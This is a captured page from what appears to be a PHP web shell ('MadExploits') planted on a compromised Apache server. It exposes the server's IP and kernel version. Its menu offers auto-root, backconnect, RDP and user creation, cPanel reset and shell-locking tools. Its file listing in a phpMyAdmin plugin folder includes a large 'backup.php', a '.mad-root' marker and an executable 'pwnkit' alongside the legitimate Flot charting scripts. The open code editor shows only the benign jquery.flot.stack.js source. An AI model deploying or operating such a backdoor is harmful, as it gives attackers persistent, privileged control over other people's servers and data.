Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.117.99.192
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
home /
amvm /
public_html /
seona /
myadmin /
plugins /
flot /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
backup.php
446.53
KB
-rw-r--r--
excanvas.js
40.96
KB
-rw-r--r--
excanvas.min.js
18.86
KB
-rw-r--r--
jquery.colorhelpers.js
6.01
KB
-rw-r--r--
jquery.colorhelpers.min.js
3.06
KB
-rw-r--r--
jquery.flot.canvas.js
9.37
KB
-rw-r--r--
jquery.flot.canvas.min.js
3.72
KB
-rw-r--r--
jquery.flot.categories.js
5.89
KB
-rw-r--r--
jquery.flot.categories.min.js
2.4
KB
-rw-r--r--
jquery.flot.crosshair.js
5.3
KB
-rw-r--r--
jquery.flot.crosshair.min.js
1.98
KB
-rw-r--r--
jquery.flot.errorbars.js
12.32
KB
-rw-r--r--
jquery.flot.errorbars.min.js
5.19
KB
-rw-r--r--
jquery.flot.fillbetween.js
5.13
KB
-rw-r--r--
jquery.flot.fillbetween.min.js
2.12
KB
-rw-r--r--
jquery.flot.image.js
7.19
KB
-rw-r--r--
jquery.flot.image.min.js
2.48
KB
-rw-r--r--
jquery.flot.js
118.78
KB
-rw-r--r--
jquery.flot.min.js
51.07
KB
-rw-r--r--
jquery.flot.navigate.js
13.86
KB
-rw-r--r--
jquery.flot.navigate.min.js
6.26
KB
-rw-r--r--
jquery.flot.pie.js
23.08
KB
-rw-r--r--
jquery.flot.pie.min.js
11.74
KB
-rw-r--r--
jquery.flot.resize.js
3.06
KB
-rw-r--r--
jquery.flot.resize.min.js
1.98
KB
-rw-r--r--
jquery.flot.selection.js
12.83
KB
-rw-r--r--
jquery.flot.selection.min.js
5.01
KB
-rw-r--r--
jquery.flot.stack.js
6.92
KB
-rw-r--r--
jquery.flot.stack.min.js
2.27
KB
-rw-r--r--
jquery.flot.symbol.js
2.45
KB
-rw-r--r--
jquery.flot.symbol.min.js
1.02
KB
-rw-r--r--
jquery.flot.threshold.js
4.38
KB
-rw-r--r--
jquery.flot.threshold.min.js
1.66
KB
-rw-r--r--
jquery.flot.time.js
11.47
KB
-rw-r--r--
jquery.flot.time.min.js
6.56
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : jquery.flot.stack.js
/* Flot plugin for stacking data sets rather than overlyaing them. Copyright (c) 2007-2013 IOLA and Ole Laursen. Licensed under the MIT license. The plugin assumes the data is sorted on x (or y if stacking horizontally). For line charts, it is assumed that if a line has an undefined gap (from a null point), then the line above it should have the same gap - insert zeros instead of "null" if you want another behaviour. This also holds for the start and end of the chart. Note that stacking a mix of positive and negative values in most instances doesn't make sense (so it looks weird). Two or more series are stacked when their "stack" attribute is set to the same key (which can be any number or string or just "true"). To specify the default stack, you can set the stack option like this: series: { stack: null/false, true, or a key (number/string) } You can also specify it for a single series, like this: $.plot( $("#placeholder"), [{ data: [ ... ], stack: true }]) The stacking order is determined by the order of the data series in the array (later series end up on top of the previous). Internally, the plugin modifies the datapoints in each series, adding an offset to the y value. For line series, extra data points are inserted through interpolation. If there's a second y value, it's also adjusted (e.g for bar charts or filled areas). */ (function ($) { var options = { series: { stack: null } // or number/string }; function init(plot) { function findMatchingSeries(s, allseries) { var res = null; for (var i = 0; i < allseries.length; ++i) { if (s == allseries[i]) break; if (allseries[i].stack == s.stack) res = allseries[i]; } return res; } function stackData(plot, s, datapoints) { if (s.stack == null || s.stack === false) return; var other = findMatchingSeries(s, plot.getData()); if (!other) return; var ps = datapoints.pointsize, points = datapoints.points, otherps = other.datapoints.pointsize, otherpoints = other.datapoints.points, newpoints = [], px, py, intery, qx, qy, bottom, withlines = s.lines.show, horizontal = s.bars.horizontal, withbottom = ps > 2 && (horizontal ? datapoints.format[2].x : datapoints.format[2].y), withsteps = withlines && s.lines.steps, fromgap = true, keyOffset = horizontal ? 1 : 0, accumulateOffset = horizontal ? 0 : 1, i = 0, j = 0, l, m; while (true) { if (i >= points.length) break; l = newpoints.length; if (points[i] == null) { // copy gaps for (m = 0; m < ps; ++m) newpoints.push(points[i + m]); i += ps; } else if (j >= otherpoints.length) { // for lines, we can't use the rest of the points if (!withlines) { for (m = 0; m < ps; ++m) newpoints.push(points[i + m]); } i += ps; } else if (otherpoints[j] == null) { // oops, got a gap for (m = 0; m < ps; ++m) newpoints.push(null); fromgap = true; j += otherps; } else { // cases where we actually got two points px = points[i + keyOffset]; py = points[i + accumulateOffset]; qx = otherpoints[j + keyOffset]; qy = otherpoints[j + accumulateOffset]; bottom = 0; if (px == qx) { for (m = 0; m < ps; ++m) newpoints.push(points[i + m]); newpoints[l + accumulateOffset] += qy; bottom = qy; i += ps; j += otherps; } else if (px > qx) { // we got past point below, might need to // insert interpolated extra point if (withlines && i > 0 && points[i - ps] != null) { intery = py + (points[i - ps + accumulateOffset] - py) * (qx - px) / (points[i - ps + keyOffset] - px); newpoints.push(qx); newpoints.push(intery + qy); for (m = 2; m < ps; ++m) newpoints.push(points[i + m]); bottom = qy; } j += otherps; } else { // px < qx if (fromgap && withlines) { // if we come from a gap, we just skip this point i += ps; continue; } for (m = 0; m < ps; ++m) newpoints.push(points[i + m]); // we might be able to interpolate a point below, // this can give us a better y if (withlines && j > 0 && otherpoints[j - otherps] != null) bottom = qy + (otherpoints[j - otherps + accumulateOffset] - qy) * (px - qx) / (otherpoints[j - otherps + keyOffset] - qx); newpoints[l + accumulateOffset] += bottom; i += ps; } fromgap = false; if (l != newpoints.length && withbottom) newpoints[l + 2] += bottom; } // maintain the line steps invariant if (withsteps && l != newpoints.length && l > 0 && newpoints[l] != null && newpoints[l] != newpoints[l - ps] && newpoints[l + 1] != newpoints[l - ps + 1]) { for (m = 0; m < ps; ++m) newpoints[l + ps + m] = newpoints[l + m]; newpoints[l + 1] = newpoints[l - ps + 1]; } } datapoints.points = newpoints; } plot.hooks.processDatapoints.push(stackData); } $.plot.plugins.push({ init: init, options: options, name: 'stack', version: '1.2' }); })(jQuery);
Close